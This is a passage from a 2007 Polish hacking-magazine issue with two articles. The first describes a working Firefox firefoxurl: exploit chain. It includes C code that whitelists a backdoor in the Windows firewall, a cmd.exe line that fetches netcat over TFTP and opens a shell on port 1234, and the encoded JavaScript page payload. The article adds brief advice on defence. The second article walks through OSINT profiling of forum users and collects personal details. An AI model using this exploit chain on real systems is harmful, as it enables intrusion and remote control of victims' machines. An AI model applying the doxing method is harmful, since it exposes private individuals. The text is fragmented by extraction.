zakodowane  Unicode'm  –  tak,  aby 
ominąć  zabezpieczenia  związane
z parsowaniem tego typu wyrażeń. 

Kod  zawarty  na  Listingu  7.  jest 

tym,  który  umieszczamy  na  stro-
nie. Można go wkleić do sekcji 

<body 

onload= ”naszKod”>

, można też utwo-

rzyć  np.  przycisk,  który  po  kliknię-
ciu  go  wywoła  nasz  spreparowany 
skrypt. Warto zwrócić uwagę na ko-
dowanie  cudzysłowów  przy  wywo-
łaniu  cmd.exe.  Używamy  konstruk-
cji 

\

”  (czyli  w  Unicode  %5C%22).

W  zależności  od  wersji  JavaScript 
(czyli  od  wersji  przeglądarki)  kon-
strukcja  ta  może  zadziałać  lub  nie 
–  w  niektórych  przypadkach  znak 

\

  jest  niezbędny,  nieraz  zaś  może 

okazać  się  nadmiarowy.  Należy  za-
tem  sprawdzić  obydwie  możliwości.
W  przypadku,  gdy  Unicode  nas  nie 
ratuje, można także posłużyć się Java-
Scriptowym 

String.fromCharCode()

.

Listing 5. 

Kod programu modifyReg

#include 

<windows.h>

#include 

<string.h>

int

 

WINAPI

 

WinMain

(

HINSTANCE

 

hInstance

HINSTANCE

 

hPrevInstance

LPSTR

 

lpCmdLine

int

 

nShowCmd

)

 

{

     

LONG

 

registryOperationStatus

;

     

HKEY

 

backdoorKeyHandle

;

   

 //Opis funkcji: http://msdn2.microsoft.com/en-us/library/ms724844.aspx

     #

define

 

BACKDOOR_KEY

 

"SYSTEM

\\

CurrentControlSet

\\

Services

\\

SharedAccess

\\

Parameters

\\

FirewallPolicy

\\

StandardProfile

\\

AuthorizedApplications

\\

List"

    
    

RegCreateKeyEx

(

HKEY_LOCAL_MACHINE

,

                                            

BACKDOOR_KEY

,

                                            

0

,

                                            

NULL

,

                                            

REG_OPTION_NON_VOLATILE

,

                                            

KEY_WRITE

,

                                            

NULL

,

                                            

&

backdoorKeyHandle

,

                                            

NULL

);

   

 // if(registryOperationStaus!=ERROR_SUCCESS)

    

 //    exit(0);

     

RegSetValueEx

(

backdoorKeyHandle

,

                                          

"C:

\\

WINDOWS

\\

system32

\\

win32srv.exe"

,

                                          

0

,

                                          

REG_SZ

,

                                          

"C:

\\

WINDOWS

\\

system32

\\

win32srv.exe:*:Enabled"

,

                                          

strlen

(

"C:

\\

WINDOWS

\\

system32

\\

win32srv.exe:*:Enabled"

)

                                          

);

     

return

 

0

;

}

Listing 6. 

Program netcat (win32srv.exe) wraz z odpowiednimi opcjami

cmd.exe „cd c:\WINDOWS\system32\ && tftp -i GET ourTftpServer.com/modifyReg.exe && tftp
-i GET ourTftpServer.com/win32srv.exe && modifyReg.exe && win32srv.exe -l -p1234 -d -e cmd.exe –L ”

background image

hakin9 Nr 12/2007

www.hakin9.org

Atak

18

Po  spreparowaniu  strony  musimy 

oczywiście  umieścić  na  naszym  ser-
werze tftp odpowiednie pliki oraz za-
rejestrować IP ofiary (można je spraw-
dzić  np.  w  logach  serwera  Apache 
lub  za  pomocą  prostego  kodu  PHP).
Po wykonaniu wszystkich kroków oraz 
połączeniu się z ofiarą na porcie 1234 
powinniśmy ujrzeć znak zachęty Win-
dows: C:>.

Analiza zdarzenia

– jak się zabezpieczyć?

Nasz  atak  udał  się  z  kilku  powodów. 
Przede wszystkim furtką do naszego 
komputera  okazała  się  luka  w  prze-
glądarce.  Jednak  nawet  mimo  istnie-
nia tego błędu jesteśmy w stanie za-
bezpieczyć się przed podobnymi ata-
kami. I nie powiem w tym miejscu nic 
rewolucyjnego, albowiem metoda jest 
niezwykle prosta i chroni przed więk-
szością prób modyfikacji rejestru i pli-
ków systemowych. Otóż wystarczy ko-
rzystać z konta użytkownika z ograni-
czeniami oraz systemu plików NTFS. 
W  przypadku,  gdy  intruz  uzyska  na-
sze  uprawnienia  podczas  gdy  korzy-
stamy  z  konta  administratora,  może 
on do woli modyfikować rejestr i pliki 
systemowe, dzięki czemu jest w stanie 
ominąć zaporę Windows. Jednak gdy 
nasze konto jest ograniczone, nie bę-
dzie mógł zainstalować oprogramowa-
nia typu backdoor, albowiem zablokuje 
go firewall. Nie zmienia to faktu, iż po-
tencjalny  intruz  może  wykonać  szko-

dliwe operacje w kontekście naszego 
użytkownika, takie jak skasowanie pli-
ków z katalogu domowego. Na to jest 
tylko jedna rada – nie można wchodzić 
na nieznane, podejrzane strony, które 
często  są  nam  przysyłane  przez  ko-
munikatory  czy  pocztę  elektronicz-
ną.  Pozostaje  mieć  nadzieję,  że  wy-
soka  świadomość  zagrożeń  interne-
towych uchroni Czytelnika przed tego 
typu atakami.

Używać czy też nie,

oto jest pytanie

Po  zobaczeniu,  jak  prostym  jest  de 
facto przejęcie kontroli nad kompute-
rem użytkownika Mozilli Firefox w sys-
temie  Windows,  nasuwa  się  pytanie, 
czy używanie Mozilli jest dobrym po-
mysłem? Przecież przeglądarka ta nie 
jest  tak  bezpieczna,  jakby  się  mogło 
wydawać  przeciętnemu  użytkowniko-
wi  komputera,  który  wiedzę  czerpie 
głównie od znajomych lub z mało spe-
cjalistycznych portali. Bardziej świado-
my internauta prędzej czy później po-

stawi  sobie  pytanie  dotyczące  bytu
Firefoksa na jego komputerze. Oczy-
wiście  jeśli  używamy  systemu  Linux, 
problem  dla  nas  nie  istnieje.  Jednak 
kiedy z jakichś powodów musimy uży-
wać Windows lub po prostu lubimy ten 
system, dobór przeglądarki wydaje się 
być  w  dobie  wszechobecnego  Inter-
netu kwestią kluczową. Czy warto re-
zygnować z Mozilli? Moim skromnym 
zdaniem, zdecydowanie nie. Na uwa-
gę zasługuje fakt, że mimo, iż wykry-
wane  są  w  niej  luki  związane  z  bez-
pieczeństwem, są one równie szybko
naprawiane  poprzez  opublikowanie 
kolejnej wersji (opisywana podatność 
została  usunięta  w  wersji  2.0.0.5).
Jesteśmy więc narażeni na atak przez 
relatywnie  krótki  okres  czasu.  Poza 
tym, gdy korzystamy z Internetu w peł-
ni  świadomi  zagrożeń,  stosujemy  się 
do reguł bezpieczeństwa – wtedy nie 
mamy się czego obawiać. Cieszmy się 
więc dobrem Internetu, surfując po je-
go stronach niczym innym, jak Mozil-
lą Firefox.

Podsumowanie

Opisywana  podatność  pozwala  na 
uruchomienie  praktycznie  dowolnego 
kodu na komputerze użytkownika, co, 
jak zostało pokazane w artykule, mo-
że mieć przykre konsekwencje. Pozo-
staje tylko mieć nadzieję, że Czytelnik 
będzie szerokim łukiem omijał strony 
internetowe, które ktoś nieznajomy po-
desłał mu drogą elektroniczną. l

O autorze

Autor  zajmuje  się  bezpieczeństwem 
aplikacji  internetowych  oraz  szeroko 
rozumianą ochroną systemów kompu-
terowych.
Kontakt  z  autorem:  kzuwala@pocz-
ta.onet.pl

Listing 7. 

Kod JavaScript, który należy umieścić w finalnej wersji strony

firefoxurl:test%22%20-chrome%20%22javascript:C=Components.classes;I=C
omponents.interfaces;file=C%5B%

27

@mozilla.org

/

file

/

local

;

1

%

27

%5D.createInstance%28I.nsILocalFile%

29

;

file.init

WithPath%

28

%

27C:%

27

+String.fromCharCode%

2892

%

29

+String.fromCharCode%

2892

%

29

+%27Windows%

27

+String.fromCharCode%

2892

%

29

+String.fromCharCode%

2892

%

29

+%27System32%

27

+String.fromCharCode%

2892

%

29

+String.fromCharCode%

2892

%

29

+%27cmd.exe%5C%22

cd

c:+String.fromCharCode%

2892

%

29

+String.fromCharCode%

2892

%

29WINDOWS+String.fromCharCode%

2892

%

29

+String.fromCharCode%

2892

%

29system32+String.fromCharCode%

2892

%

29

+String.fromCharCode%

2892

%

29

 %

26

%

26

 

tftp 

-i GET ourTftpServer.com

/

modifyReg.exe %

26

%

26

 tftp -i GET ourTftpServer.com

/

win32srv.exe %

26

%

26

 modifyReg.exe %

26

%

26

 win32srv.exe -l -p1234 -L -d -e cmd.exe%5C%

22

 

27

%

29

;

process

=

C%5B%

27

@mozilla.org

/

process

/

util

;

1

%

27

%5D.createInstance%28I.nsIP

rocess%

29

;

process.init%28file%

29

;

process.run%28true%252c%7B%7D%252c0%

29

;

W Sieci

•   http://larholm.com/2007/07/10/internet-explorer-0day-exploit/  –  proof  of  concept 

exploita,

•   http://msdn2.microsoft.com/en-us/library/ms724844.aspx – opis funkcji Reg-

CreateKeyEx,

•   http://www.microsoft.com/resources/documentation/windows/xp/all/proddocs/

en-us/tftp.mspx?mfr=true – opis polecenia tftp dla systemu Windows XP,

•   http://www.vulnwatch.org/netcat/ – netcat dla Windows.

background image

Jeśli nie możesz odczytać zawartości płyty CD, a nie jest ona uszkodzona mechanicznie, 

sprawdź ją na co najmniej dwóch napędach CD.

W razie problemów z płytą, proszę napisać pod adres: cd@software.com.pl

background image

www.hakin9.org

hakin9 Nr 12/2007

20

Atak

D

ane, o których mówię, w każdym przy-
padku  mogą  być  (i  z  natury  są)  in-
ne. Dla przeciętnego użytkownika bę-

dzie  to  imię,  nazwisko,  numery  PESEL  i  NIP, 
adres  zamieszkania  –  i  to  właśnie  te  infor-
macje  powinno  traktować  się  ze  szczegól-
ną  troską.  Wiele  osób  zobowiązanych  jest 
także  do  ochrony  –  oprócz  tak  prozaicznych
(a ważnych) danych jak te, które wcześniej wy-
mieniłem – różnego rodzaju tajemnic służbo-
wych  (patrz  głośne  ostatnio  wycieki  danych
z komputerów policyjnych przez p2p). Ostatnią 
grupą  ludzi,  którzy  najsilniej  i  najskuteczniej
powinni chronić dane, są administratorzy i do-
stawcy usług. Właśnie ci ludzie odpowiedzial-
ni  są  za  składowanie,  przesył  i  zabezpiecze-
nie personaliów swoich klientów oraz za stan 
bezpieczeństwa usług świadczonych w admi-
nistrowanej sieci.

Dlaczego o tym piszę? 

Bo to jest ważne!

Czy stan bezpieczeństwa jest naprawdę tak zły? 
Tak!  Czy  dotyczy  to  wszystkich  bez  wyjątku?
Większości!

W  odniesieniu  do  zwykłych  użytkowników 

Internetu  sytuacja  wygląda  wprost  tragicznie 

– nawet do 87% (na podstawie analizy aktyw-
ności  sieciowej  2000  użytkowników  portali 
społecznościowych, którzy wyrazili na to zgo-

Poznaj swój komputer 

– oczami intruza

Bartosz Kalinowski

stopień trudności

W Sieci jeszcze bardziej niż w życiu realnym należy chronić 

wszelkie informacje dotyczące naszej osoby, firmy, działań, 

kierunków rozwoju. Dbać o te wszystkie dane muszą ludzie, 

którym je powierzamy. Dlatego zadziwiająca jest beztroska 

większości użytkowników Internetu w kwestiach bezpieczeństwa 

i ochrony wrażliwych danych.

Z artykułu dowiesz się

•   jak wiele informacji udostępniasz nieświadomie,
•   w jaki sposób są one odnajdywane i w jaki spo-

sób mogą być wykorzystane,

•   w  jaki  sposób  intruzi  przeprowadzają  rozpo-

znanie jednostek komputerowych i sieci,

•   w jaki sposób tworzą wirtualny obraz zarządza-

nych przez Ciebie maszyn,

•   jakie stosują narzędzia i metody,
•   jak bronić się przed tymi działaniami.

Co powinieneś wiedzieć

•   znać system Linux w stopniu pozwalającym na 

swobodną obsługę,

•   znać co najmniej podstawy teoretyczne popu-

larnych protokołów sieciowych,

•   znać teorię dotyczącą ataków inter(intra)neto-

wych i być w stanie kojarzyć możliwości ich wy-
korzystania,

•   znać zagadnienia związane z wyszukiwarkami 

internetowymi.

background image

Poznaj swój komputer – oczami intruza

hakin9 Nr 12/2007

www.hakin9.org

21

dę,  przeprowadzonej  w  okresie
od lipca do sierpnia 2007 r.) umiesz-
cza  w  sieci  publicznej  dane,
które  nigdy  nie  powinny  w  niej  się 
znaleźć, tym samym stwarzając dla 
siebie  zagrożenie.  W  stosunku  do 
administratorów – zarówno sieci, jak
i usług – sprawa nie wygląda tak kla-
rownie, a to ze względu na trudności 
m. in. w przeprowadzeniu analiz lub 
braku zgody na ich publikację. Jed-
nak pomimo wszystko muszę stwier-
dzić  –  a  wielu  audytorów  na  pew-
no się ze mną zgodzi – że ochrona
danych  jest  często  zaniedbywana, 
a  ilość  udostępnianych  (świadomie
i  nieświadomie)  danych  bywa,  deli-
katnie mówiąc, niebezpieczna.

Spis treści

Moim  głównym  celem  i  prioryte-
tem  jest  wskazanie  Czytelnikom, 
jak  wielkie  zagrożenie  niesie  za
sobą  bezmyślne,  świadome  bądź 
przypadkowe, udostępnianie danych 
–  zarówno  tych  personalnych,  jak
i  służbowych  czy  konfiguracyjnych. 
Chciałbym w artykule zademonstro-
wać krok po kroku niektóre metody 
pozyskiwania ważnych i wrażliwych 
informacji.  Cały  tekst  podzieliłem
na  trzy  główne  części.  W  pierw-
szej wyjaśniam w sposób teoretycz-
ny,  aczkolwiek  bardzo  ogólnikowy,
przyczyny  i  skutki  poszczególnych 
działań. Opisuję także metody i na-
rzędzia  wykorzystywane  do  prze-
prowadzania  tego  typu  badań.  Sta-
ram się to czynić zwięźle i konkretnie, 
pozostawiając  szczegóły  na  analizy 
konkretnych  przypadków.  W  drugiej 
części  przedstawiam  działania  wy-
mierzone  w  zwykłego  użytkownika. 
Przeprowadzam  Czytelnika,  w  spo-
sób  zmuszający  do  samodzielnych 

działań  i  przede  wszystkim  myśle-
nia, przez znane (a często trywialne!
–  w  celu  podkreślenia  niebezpie-
czeństwa)  metody  i  sposoby  zbie-
rania informacji, następnie analizuję
uzyskane  dane  oraz  finalnie  okre-
ślam  stopień  zagrożenia  i  możliwe 
ataki  wynikające  z  faktu  posiada-
nia zdobytych informacji. W części 
trzeciej natomiast przedstawiam ba-
danie danych udostępnianych świa-
domie i nieświadomie przez admini-
stratora typowej sieci komputerowej 
za pomocą jej elementów konfigura-
cyjnych. Określam wszelkie możliwe 
informacje – od lokalizacji fizycznej 
serwera po jego konfigurację, stosu-
jąc metody manualne, jak i automa-
tyczne  oraz  wykorzystując  metody 
analizy tzw. białych źródeł informa-
cji oraz Google hacking

Część I

Działania, które zaprezentuję, można 
pojmować  i  wykorzystywać  w  kil-
ku  celach:  po  pierwsze  –  patrząc 
oczami administratora (audytora lub 
osoby  dbającej  o  bezpieczeństwo
sieci i danych), jako metody mające 
na  celu  zbadanie  i  ewentualną  po-
prawę  pewnych  aspektów  bezpie-
czeństwa  sieci.  W  tym  przypadku 
wszelkie  uzyskane  informacje  po-
służą  do  określenia  ilości  danych 
udostępnianych  na  wielką  skalę
– publicznie w Internecie – oraz ja-
kości  sposobu  składowania  ich  na 
serwerach  dostępnych  z  Internetu. 
Uzyskana  wiedza  pomoże  w  okre-
śleniu, jak dokładny obraz naszego 
serwera i sieci może uzyskać poten-
cjalny intruz. Oprócz tego w bardzo 
łatwy,  a  przede  wszystkim  zgodny 

Tabela 1. 

Dwuwarstwowość rozpoznania

ROZPOZNANIE PASYWNE

Strony WWW

Grupy 

dyskusyjne

Social 

engineering

Bazy dns

Partnerzy 
biznesowi

...

ROZPOZNANIE AKTYWNE

Skanowanie 

portów

Transfery 

stref

Analiza 

skanerami 

podatności

Ręczne 

badanie 

systemu

Social 

engineering

wywiad 

wewnątrzfirmowy 

...

OBRAZ SIECI

Rysunek 1. 

Przykładowy wygląd podstrony profilu jednego ze znanych 

portali społecznościowych

ê

background image

hakin9 Nr 12/2007

www.hakin9.org

Atak

22

z  prawem  sposób,  niezależnie  od 
przyjętej  przez  nas  polityki  bezpie-
czeństwa  oraz  regulaminów  sieci,
będziemy  w  stanie  określić,  czy 
dane  przechowywane  publicznie 
przez  użytkowników  nie  naruszają 
prawa.  Z  drugiej  strony,  stawiając 
się  w  sytuacji  potencjalnego  intru-
za, będziemy w stanie poznać me-
tody i sposoby wykorzystywane do 
stworzenia obrazu serwera lub na-
wet całej sieci. Zdobędziemy dane, 
które  z  łatwością  mogą  być  wyko-
rzystane do przeprowadzenia wielu 
rodzajów ataków – od podszywania 
po kradzieże, i to nie tylko te prze-
prowadzane w Internecie.

Wszelkie  działania,  które  bę-

dziemy wykonywać, mające na ce-
lu  pozyskanie  informacji,  można 
podzielić na dwie kategorie – mogą
być  one  bierne  (pasywne)  lub  ak-
tywne.  Rodzaj  pierwszy  charak-
teryzuje  się  bardzo  ważną  cechą 
– nie pozostawia śladów mogących 
bezpośrednio wskazywać na nasze 
zamiary.  Drugi  niestety  nie  posia-
da wyżej wymienionej cechy – po-
zostawia ślady np. w plikach dzien-
ników systemowych, lecz jest za to 
o  wiele  skuteczniejszy  i  dostarcza 
znacznie dokładniejszych i ważniej-
szych informacji. Mówiąc o działa-
niach  biernych  (pasywnych),  mam 

na myśli przede wszystkim analizę 
informacji  pozostawionych  przez 
użytkowników  (zarówno  przecięt-
nych  internautów,  jak  i  np.  admi-
nistratorów)  na  różnego  rodzaju
portalach internetowych, forach lub 
grupach dyskusyjnych. Obie meto-
dy  uzupełniają  się  w  działaniach 
praktycznych,  poszerzając  znacz-
nie ilość danych uzyskiwaną w po-
czątkowych  fazach  przeprowadza-
nia  np.  audytu.  Fazę  tę  graficznie 
przedstawia Tabela 1. Dwuwarstwo-
wość rozpoznania.

Ilość  danych  prezentowana  na 

wymienione  sposoby  w  Internecie 
jest  nie  do  ogarnięcia,  dlatego  też 
część  druga  artykułu  jest  swoistym 
ostrzeżeniem  dla  wszystkich  i  jako 
taka powinna być przede wszystkim 
traktowana.  W  przypadku  wyszuki-
wania  informacji  w  taki  sposób  sto-
sujemy tzw. białe źródła. Do działań
pasywnych  możemy  także  zaliczyć 
wykorzystanie  wszelkich  narzędzi, 
które  nie  pozostawią  śladów  jawnie 
wskazujących na cel naszych działań, 
a za takie uznać można m. in. bazy 
danych whois (http://www.dns.pl/cgi-
bin/whois.pl
,  http://www.internic.net, 
http://ripe.net,
 http://whois.afilias.info
itp
.),  serwery  DNS,  narzędzia  typu
traceroute,  mtr,  p0f  v2.  Naszymi
kolejnymi przyjaciółmi okażą się wy-
szukiwarki oraz umiejętność zadawa-
nia pytań (w celu zwiększenia ilości
i polepszenia jakości otrzymywanych 
danych nie będziemy ograniczać się 
wyłącznie do google.com). 

Działania aktywne, w przeciwień-

stwie  do  pasywnych,  wykorzystują
w znakomitej mierze narzędzia stwo-
rzone  typowo  do  prowadzenia  pod-
stawowych  analiz  informatycznych. 
W  tym  przypadku  będziemy  stoso-
wać gotowe kombajny analityczne, ta-
kie jak Nessus (http://nessus.org) lub 
skanery portów, takie jak nmap (http://
insecure.org/nmap
).  Pragnę  zauwa-
żyć, iż istnieją pewne klasyfikacje, któ-
re  uznają  wykorzystanie  baz  whois
lub  traceroute  za  działania  aktywne. 
Skuteczność  rezultatów  prezentowa-
nych przez w/w narzędzia podniesie-
my manualnym badaniem zwróconych 
przez nie wyników oraz przeanalizuje-
my  inne  metody  i  sposoby  działania 

Tabela 2. 

Dane zamieszczone na stronie domowej użytkownika

Dane

Uzyskany rezultat

Źródło

Imię

Rafał

Strona domowa

Nazwisko

Pokój

Strona domowa

Ulica

Długa 25

Strona domowa

Miasto

Ustrzyki

Strona domowa

PESEL

--

--

NIP

--

--

Telefon domowy

(013) 461-XX-XX

Strona domowa

Telefon komór-
kowy

888789XXX

Strona domowa

Telefon kom. inny

--

--

Adres e-mail 1

raptowny@jakisadres.pl

Profil portalu 
społecznościowego

Adres e-mail 2

rafal.pokoj@somemail.com

Strona domowa

Adres e-mail 3

--

--

GG

203XXX

Strona domowa

JID

raptowny@chrome.com

Profil portalu 
społecznościowego

Inne komunikatory --

--

Ukończone szkoły (1986-1994)

Szkoła Podstawowa nr 2 ...

(1994-1998)
Liceum Ogólnokształcące 
im. Józefa Piłsudskiego ...

(1998-2003)
Politechnika Gdańska ...

Strona domowa

Aktualne zajęcie

--

--

Zainteresowania

 - muzyka
 - sport (bieganie)
 - fantastyka

Portal s
połecznościowy 

background image

Poznaj swój komputer – oczami intruza

hakin9 Nr 12/2007

www.hakin9.org

23

wymierzone  w  informacje  znajdujące 
się na serwerze lub mogące go skom-
promitować.

Część II

W jaki sposób przedstawić zagroże-
nia oraz odpowiednio wybrać cel? 
Uznałem, że wystarczy losowy wy-
bór potencjalnego kandydata do ana-
lizy.  W  takim  przypadku  nie  wia-
domo, czy poddawana analizie nie 
jest  np.  osoba  czytająca  ten  arty-
kuł,  co  dodaje  wiarygodności  ba-
daniom i potwierdza zagrożenia.

Moim celem stał się użytkownik 

pewnego  portalu  gromadzącego, 
krótko mówiąc, ciekawostki z Sieci.
W mojej opinii jest to odpowiednie 
miejsce do wybrania potencjalnego 
celu,  kiedy  chce  się  wygenerować 
statystycznie dobrą próbę dla ogó-
łu  społeczeństwa  korzystającego 
z  Internetu  –  bez  specjalistycznego 
podejścia do zagadnień informatycz-
nych, a jednocześnie twierdzącego/
uważającego/żyjącego w przekona-
niu, że ukrywanie się w Sieci za pseu-
donimem  gwarantuje  jakiś  poziom 
anonimowości. Przekonajmy się, jak
wygląda rzeczywistość.

Chciałbym zauważyć, że dla ce-

lów artykułu wszelkie adresy, dane 
i nazwy zostały zmienione, a wszyst-
kie ewentualne zbieżności i podo-
bieństwa są przypadkowe. W celu 
lepszego  poznania  problemu  za-
chęcam do przeprowadzenia podo-
bnych działań wymierzonych w sie-
bie  lub  np.  członków  rodziny.  Da 
to  najlepszy  obraz  zagrożeń  i  ich 
skali, a jednocześnie udowodni fakt 
łatwości  przeprowadzania  takich 
analiz.

Powiedz mi gdzie bywasz, 

powiem Ci kim jesteś

Na  wstępie  należy  przyjąć  pewne 
wytyczne  poszukiwań  –  musimy 
określić,  czego  dokładnie  chcemy 
dowiedzieć się o użytkowniku i jak 
dokładne  muszą  to  być  dane.  Na 
potrzeby dalszych rozważań musi-
my znaleźć co najmniej imię, nazwi-
sko, miejsce zamieszkania, adresy 
kontaktowe  (telefon,  GG,  Jabber,
Skype – najlepiej co najmniej dwa 
z  wymienionych)  oraz  zaintereso-

wania  danego  użytkownika.  Jako 
rozszerzenie listy oczekujemy pry-
watnych  numerów  telefonów  ko-
mórkowych i danych takich jak NIP 
czy PESEL.

Naszą  przygodę  rozpoczniemy 

od  określenia  podstawowych  da-
nych personalnych: imienia i nazwi-
ska.  W  tym  celu  zastosujemy  naj-
prostszą  i  najbardziej  efektywną 
metodę,  mianowicie  przeszukamy 
zasoby  WWW.  Ale  zanim  zadamy 
pytanie wyszukiwarce, ustalmy, co 
może dać nam listę rezultatów za-
wierającą  przede  wszystkim  dane 
naszym użytkowniku?

Będzie  to  na  pewno  kombina-

cja  danych,  które  już  posiadamy 
o użytkowniku, gdyż wystąpienie tuż 
obok  siebie  grupy  takich  danych  na 
przeszukiwanych stronach gwarantu-
je nam w pewnym stopniu uzyskanie 
wiarygodnych odpowiedzi. W naszym 
przypadku  użytkownik  ukrywa  się 
pod  nickiem  Raptowny.  Pragnę  za-
uważyć i przypomnieć, iż większość 
zarówno forów, jak i portali udostęp-
nia możliwość logowania się oraz po-
siadania  własnego  profilu.  Dlatego 
zaraz po określeniu nicku zapoznaje-
my się z profilem i spisujemy wszyst-
kie istotne dla nas informacje.

Proszę  zauważyć,  jakie  zazwy-

czaj dane (Rysunek 1. prezentuje ty-

pową i często spotykaną w Interne-
cie postać tego rodzaju strony) mogą
znajdować  się  w  takim  wirtualnym 
profilu użytkownika:

•   imię, nazwisko,
•   adres e-mail,
•   strona domowa,
•   kontakt via GG, Jabber, ICQ etc,
•   odnośniki  do  opublikowanych 

dokumentów/wątków.

Nie  jest  to  być  może  długa  lista, 
podejrzewam także, że w większo-
ści przypadków w tym miejscu nie 
spotkamy  się  z  imieniem  i  nazwi-
skiem, ale za to często z adresem 
e-mail i stroną domową – a to jest 
już dla nas dużo. Warto pamiętać o 
tym, iż dane, które są wyświetlane 
w  tym  miejscu  nie  muszą  być  do-
stępne  publicznie.  Nie  mam  tu  na 
myśli  oczywiście  wprowadzania 
imienia  i  nazwiska,  ale  chociażby 
adresu  e-mail  oraz  strony  domo-
wej.  Mógłbym  jeszcze  zrozumieć 
zamieszczanie  odnośników  do 
strony  firmowej  w  przypadku  por-
talu  dla  pracowników  czy  klientów 
danej  firmy,  ale  w  przypadku  osób 
prywatnych  jest  to  dla  mnie,  deli-
katnie mówiąc, nieco dziwne. Pro-
szę sobie odpowiedzieć na pytanie 
– ile razy w życiu idąc ulicą rozda-

Rysunek 2. 

Wyniki przedstawione przez Google

background image

hakin9 Nr 12/2007

www.hakin9.org

Atak

24

waliśmy wszystkim swój adres za-
mieszkania i numer telefonu? Ktoś 
powie, że przesadzam? Proszę do-
trwać do końca artykułu.
Po  analizie  profilu  uzyskaliśmy  na-
stępujące dane:

•   adres e-mail: raptowny@jakisa-

dres.pl,

•   strona domowa: raptowny.jakis-

blog.pl,

•   abber id: raptowny@chrome.com.

Następnym  naszym  krokiem  będzie 
oczywiście  zapoznanie  się  z  za-
wartością  strony  domowej.  Bardzo
często  zdarza  się  –  szczególnie 
ostatnio, w dobie blogów i innych in-
ternetowych dzienników, że użytkow-
nicy zamieszczają na nich wszystkie 
swoje prywatne dane. Niestety, a być 
może stety, nasz użytkownik zrobił to 
samo – dane uzyskane wyłącznie po 
sprawdzeniu profilu i strony domowej 
prezentuje Tabela 2. Przedstawiłem 
informacje specjalnie w taki sposób 
–  dla  lepszego  uwidocznienia  ilości 
odkrytych danych. Zanim zaczniesz 
czytać  dalej,  drogi  Czytelniku,  pro-
szę odpowiedz sobie na pytanie, czy 
chciałbyś, aby dowolna osoba w Sie-
ci wiedziała o Tobie aż tyle?

Dalsze  poszukiwania  są  właści-

wie  niepotrzebne,  gdyż  wszystkie 
ważne  dane  uzyskaliśmy  z  dokład-
nie  dwóch  najbardziej  prozaicznych 
źródeł.

Jak  widać,  próba  z  całkowicie 

losowym  użytkownikiem  zakończy-
ła  się  sukcesem  –  pomimo  użycia 
tak  prostych  środków.  Przypadek 
ten  przedstawiłem  jako  przestrogę, 
gdyż  w  79%  analizowanych  prze-
ze mnie przypadków, dokładnie tyle 

działania wymaga określenie tożsa-
mości dowolnej osoby korzystającej 
z zasobów Sieci. 

Kolejnym krokiem będzie wybór 

celu z grupy osób potencjalnie bar-
dziej świadomych zagrożeń.

Za  taką  uznałem  społeczność 

moderacyjną forum jednej z dystry-
bucji Linuksa.

Procedura  początkowa  wyglą-

da identycznie, jak poprzednio. Naj-
pierw należy ustalić dane oczywiste 
–  nick,  e-mail  i  ewentualnie  stronę 
domową,  a  w  tym  celu  przegląda-
my  profil  użytkownika.  Sprawdza-
my  także  posty,  jakie  zamieścił  na 
forum. Po tej analizie określamy na-
stępujące dane:

•   pseudonim: s3rger,
•   e-mail: s3rger@hotmail.com.

Wstępnie  widać,  iż  ten  użytkownik 
prawdopodobnie bardziej chroni swo-
je  dane  –  określiliśmy  jedynie  pseu-
donim i adres e-mail. W dalszym cią-
gu zależy nam na uzyskaniu danych 
personalnych – w tym celu wykorzy-
stamy  google.com  i  pewne  cechy 
oraz  umiejętności  wyszukiwarki.  Nie 
będę  omawiać  po  raz  kolejny,  w  ja-
ki sposób formułować zapytania, po-
nieważ  temat  ten  w  ostatnim  czasie 
był  często  poruszany  i  pojawiło  się 
wiele  traktujących  o  tym  publikacji.
W  celu  zapoznania  się  z  zagadnie-
niem  odsyłam  na  koniec  artykułu, 

gdzie  zamieściłem  kilka  przykładów 
bardziej  zaawansowanych  zapytań, 
oraz  do  ramki  W  Sieci,  w  której  po-
dałem  linki  do  stron  je  opisujących.
Zaczynając  jakiekolwiek  działania
z użyciem wyszukiwarek (oczywiście 
Google jest skuteczne, ale wykorzy-
stując  także  inne  zwiększamy  szan-
se  uzyskania  ciekawszych  danych)
i  mając  jedynie  pseudonim  i  adres
e-mail ofiary, warto wyświetlić wszyst-
kie  strony  podchodząc  do  sprawy
tak, jak w poprzednio opisanym przy-
padku. Da to nam z dobrym przybli-
żeniem  wszystkie  strony,  na  których 
obserwowany użytkownik prawdopo-
dobnie  pojawił  się  i  prowadził  jakieś 
działania.  W  analizowanej  sytuacji 
po zastosowaniu prozaicznego połą-
czenia dwóch wcześniej uzyskanych 
informacji otrzymaliśmy 30 wyników. 
Analiza  każdej  ze  stron  nie  powin-
na  być  ani  trudna,  ani  czasochłon-
na  –  dla  przypomnienia  dodam,  że 
wciąż  szukamy  imienia  i  nazwiska. 
Zanim  jednak  to  nastąpi  i  wejdzie-
my na jakąkolwiek stronę, zobaczmy 
co samo Google prezentuje w swo-
ich wynikach.

Jak  widać  na  Rysunku  2.    nie 

wchodząc na żadną stronę uzyska-
liśmy kilka ciekawych rezultatów:

•   adresy IP, z których prawdopodob-

nie łączył się dany użytkownik,

•   adres  strony  prawdopodobnie 

należącej do użytkownika,

•   strony wskazujące na zaintereso-

wania użytkownika,

•   strony  zawierające  inne  ważne 

informacje (m. in. nr telefonu, ak-
tualne miejsce pobytu).

Wszelkie te informacje zostały uzy-
skane  minimalnym  nakładem  pra-
cy  przy  zachowaniu  maksimum 
bezpieczeństwa  –  gdyż  przegląd, 
przynajmniej  ten  powierzchowny, 
stron przeprowadził googlebot, cał-
kowicie  wyręczając  nas  w  tej  nie-

Rysunek 3. 

Co kryje adres IP?

Listing 1. 

Sygnatura (podpis) umieszczony przez użytkownika

** Adam 's3rger' Szerski
** Unix(OpenBSD) System Administrator && C++ Programmer
** JID->s3rger[at]chrome[dot]net && GG->777XXX
** WWW->s3rger.somename.nu && EMAIL->s3rger@viX.pl 

background image

Poznaj swój komputer – oczami intruza

hakin9 Nr 12/2007

www.hakin9.org

25

wdzięcznej czynności i zostawiając 
ślady charakterystyczne dla siebie.

Po pierwsze, zajmijmy się adre-

sem IP – sprawdźmy za pomocą po-
lecenia  host,  jaka  jest  nazwa  DNS 
przypisana  do  odkrytego  adresu 
– być może dostarczy nam ona no-
wych informacji (niektórzy dostawcy 
umieszczają w niej nazwę miejsco-
wości  na  zasadzie  indywidualny_
numer.miasto.nazwa_dostawcy), 
a  następnie  zapytajmy  bazy  whois 
o inne dane dotyczące adresu. War-
to pamiętać o tym, iż wiele stron za-
wierających  księgi  gości  przedsta-
wia  publicznie  adresy  IP  dopisują-
cych  się  osób,  stanowiąc  tym  sa-
